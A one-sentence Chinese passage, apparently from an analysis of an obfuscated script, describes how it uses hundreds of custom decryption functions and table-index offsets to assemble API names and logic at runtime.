2. 动态表索引解密：脚本通过数百个自定义解密函数（如 WU({...})、iU({...})），利用复杂的表索引和数组偏移，在运行时拼接 API 名称与逻辑片段。